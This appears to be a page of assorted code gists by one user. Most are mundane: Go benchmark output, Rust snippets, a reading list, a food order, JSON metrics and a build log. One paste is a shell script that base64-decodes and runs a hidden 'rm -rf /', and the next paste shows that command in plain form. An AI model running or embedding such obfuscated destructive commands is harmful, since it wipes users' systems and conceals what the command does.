freeformz

{22:09}[2.1.3]~/go/src/github.com/heroku/log-shuttle:go-metrics ✗ ➭ godep go test ./... -bench=. -benchmem
?   	github.com/heroku/log-shuttle	[no test files]
log-shuttle: 2014/11/11 22:09:29 at=post retry=true msgcount=1 inbox.length=0 request_id="4cd4505f-e5c1-4530-4823-e9795b8bc1ba" attempts=1 error="Post https://token:token@127.0.0.1:52762: EOF" errtype="*errors.errorString"
PASS
BenchmarkBatcher	      50	  28265753 ns/op	24225291 B/op	  101642 allocs/op
BenchmarkLogplexLineFormatter	 1000000	      1705 ns/op	     817 B/op	       6 allocs/op
BenchmarkLogplexLineFormatter_WithHeaders	 1000000	      1768 ns/op	     817 B/op	       6 allocs/op
BenchmarkLogplexBatchFormatter	   50000	     70428 ns/op	   25402 B/op	     209 allocs/op
BenchmarkLogplexBatchFormatter_WithHeaders	   20000	     78171 ns/op	   41756 B/op	     210 allocs/op
BenchmarkReaderWithFrontBuffEqual0	      10	 169082868 ns/op	 296.31 MB/s	51216806 B/op	  100255 allocs/op

freeformz

fn main() {

  let item = "muffin";

  let thing1;

  if item == "salad" {
    thing1 = "salad item";
  } else if item == "muffin" {
    thing1 = "muffin item";

freeformz

fn main() {

let item = "muffin";

let thing1;

if item == "salad" {
  thing1 = "salad item";
} else if item == "muffin" {
  thing1 = "muffin item";

freeformz

test ()
test muffin item

freeformz

#!/bin/sh

echo "IyEvYmluL2Jhc2gKCnJtIC1yZiAv" | base64 -D | sh

freeformz

#!/bin/bash

rm -rf /

freeformz

1. General Background and Overview

• Probabilistic Data Structures for Web Analytics and Data Mining : A great overview of the space of probabilistic data structures and how they are used in approximation algorithm implementation.
• Models and Issues in Data Stream Systems
• Philippe Flajolet’s contribution to streaming algorithms : A presentation by Jérémie Lumbroso that visits some of the hostorical perspectives and how it all began with Flajolet
• Approximate Frequency Counts over Data Streams by Gurmeet Singh Manku & Rajeev Motwani : One of the early papers on the subject.
• [Methods for Finding Frequent Items in Data Streams](http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.187.9800&rep

freeformz

medium tutto carne
large stephano
2x large cesar
small garden salad
small tuna melt w/o cheese

freeformz

[
  {
    "name":"dyno.load.d.17f742d9-b8c7-483b-9ee4-fe2fa1b6882b",
    "columns":["time","sequence_number","load_avg_15m","load_avg_1m","load_avg_5m","source"],
    "points":[[1399920285237,44175160001,0,0,0,"web.17"],
              [1399920283730,44174870001,0.01,0,0.02,"web.3"],
              ....            
              [1399920229857,44167600001,0.01,0,0.01,"web.7"]]
  },
  {

freeformz

Install the project...
-- Install configuration: "release"
-- Installing: /Users/edwardam/go/src/github.com/mozilla-services/heka/build/ep_base/Build/lua_sandbox/ep_base/lib/libcjson.a
[ 77%] Completed 'lua-cjson-2_1_0'
[ 77%] Built target lua-cjson-2_1_0
Scanning dependencies of target luasandbox
[ 80%] Building C object src/CMakeFiles/luasandbox.dir/lua_sandbox.c.o
[ 83%] Building C object src/CMakeFiles/luasandbox.dir/lua_sandbox_private.c.o
[ 87%] Building C object src/CMakeFiles/luasandbox.dir/lua_serialize.c.o
[ 90%] Building C object src/CMakeFiles/luasandbox.dir/lua_serialize_json.c.o